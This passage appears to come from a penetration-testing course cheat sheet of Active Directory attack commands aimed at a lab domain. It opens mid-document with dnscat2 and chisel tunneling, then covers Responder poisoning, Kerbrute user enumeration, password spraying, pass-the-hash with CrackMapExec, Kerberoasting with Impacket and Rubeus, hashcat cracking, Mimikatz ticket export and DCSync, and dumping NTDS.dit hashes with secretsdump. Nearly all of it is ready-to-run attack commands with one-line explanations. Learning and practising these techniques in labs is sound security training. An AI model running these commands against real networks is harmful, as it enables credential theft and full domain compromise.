sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
```

Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.

```
./chisel server -v -p 1234 --socks5
```

Used to connect to a chisel server at the specified IP address & port using socks.

```
./chisel client -v 10.129.202.64:1234 socks
```

ACTIVE DIRECTORY

Active Directory (AD)

Used to display the usage instructions and various options available in `Responder` from a Linux-based host.

```
responder -h
```

Used to start responding to & analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host

```
sudo responder -I ens224 -A
```

Uses `git` to clone the kerbrute tool from a Linux-based host.

```
sudo git clone https://github.com/ropnop/kerbrute.git
```

Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc` using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.

```
./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results
```

Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist.

```
hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt
```

Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.

```
Import-Module .\Inveigh.ps1
```

Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.

```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
```

Uses the `Import-Module` cmd-let to import the `PowerView.ps1` tool from a Windows-based host.

```
Import-Module .\PowerView.ps1
```

Uses `rpcclient` to discover user accounts in a target Windows domain from a Linux-based host.

```
rpcclient -U "" -N 172.16.5.5  
rpcclient $> enumdomuser
```

Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.

```
crackmapexec smb 172.16.5.5 --users
```

Uses `ldapsearch` to discover users in a target Windows domain, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.

```
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
```

Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.

```
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```

Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.

```
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit"  
172.16.5.5 | grep Authority; done
```

Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.

```
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  
Welcome1
```

Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.

```
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
```

Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
```

Uses `CrackMapExec` and the `-local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`.

```
sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H  
88ad09182de639ccc6579eb0849751cf | grep +
```

Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.

```
Import-Module .\DomainPasswordSpray.ps1
```

Performs a password spraying attack and outputs (`-OutFile`) the results to a specified file (`spray_success`) from a Windows-based host.

```
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction  
SilentlyContinue
```

Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
```

Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.

```
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
```

Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.

```
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only
```

Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.

```
rpcclient $> enumdomusers
```

Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.

```
python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU
```

Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host.

```
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
```

Loads the `Active Directory` PowerShell module from a Windows-based host.

```
Import-Module ActiveDirectory
```

PowerShell cmd-let used to gather Windows domain information from a Windows-based host.

```
Get-ADDomain
```

PowerView script used to return the AD object for the current (or specified) domain. Performed from a Windows-based host.

```
Get-Domain
```

PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.

```
Get-DomainController
```

PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.

```
Find-InterestingDomainAcl
```

KERBEROASTING

Kerberoasting

Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday
```

Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev  
-outputfile sqldev_tgs
```

Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.

```
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force
```

`Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.

```
mimikatz # base64 /out:true
```

`Mimikatz` command used to extract the TGS tickets from a Windows-based host.

```
kerberos::list /export
```

Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.

```
Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname
```

Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.

```
.\Rubeus.exe
```

Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.

```
.\Rubeus.exe kerberoast /stats
```

Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view & crack manner (`/nowrap`). Performed from a Windows-based host.

```
.\Rubeus.exe kerberoast /user:testspn /nowrap
```

ACL

ACL enumeration

PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.

```
Find-InterestingDomainAcl
```

Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.

```
Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley
```

Used to find all Windows domain objects that the user has rights over by mapping the user's `SID` to the `SecurityIdentifier` property from a Windows-based host.

```
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

MORE

DCSync

PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.


```
Get-DomainUser -Identity adunn | select  
samaccountname,objectsid,memberof,useraccountcontrol | fl
```

Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (172.16.5.5) and save the extracted hashes to an file (inlanefreight_hashes). Performed from a Linux-based host.

```
secretsdump.py -outputfile inlanefreight_hashes -just-dc  
INLANEFREIGHT/adunn@172.16.5.5 -use-vss
```

Uses Mimikatz to perform a dcsync attack from a Windows-based host.

```
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL  
/user:INLANEFREIGHT\administrator
```

Privileged Access

Used to establish a PowerShell session with a Windows target from a Linux-based host using WinRM.

```
evil-winrm -i 10.129.201.234 -u forend
```

Trust Relationships - Cross-Forest

PowerView tool used to enumerate accounts for associated SPNs from a Windows-based host.

```
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
```

PowerView tool used to enumerate the mssqlsvc account from a Windows-based host.

```
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select  
samaccountname,memberof
```

Uses Rubeus to perform a Kerberoasting Attack against a target Windows domain (/domain:FREIGHTLOGISTICS.local) from a Windows-based host.

```
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
```

PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.

```
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
```

PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host.

```
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential
```

```
INLANEFREIGHT\administrator
```

Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host.

```
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL
```

```
INLANEFREIGHT.LOCAL/wley
```

Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.

```
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p
```

```
Klmcargo2
```

Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.

```
zip -r ilfreight_bh.zip *.json
```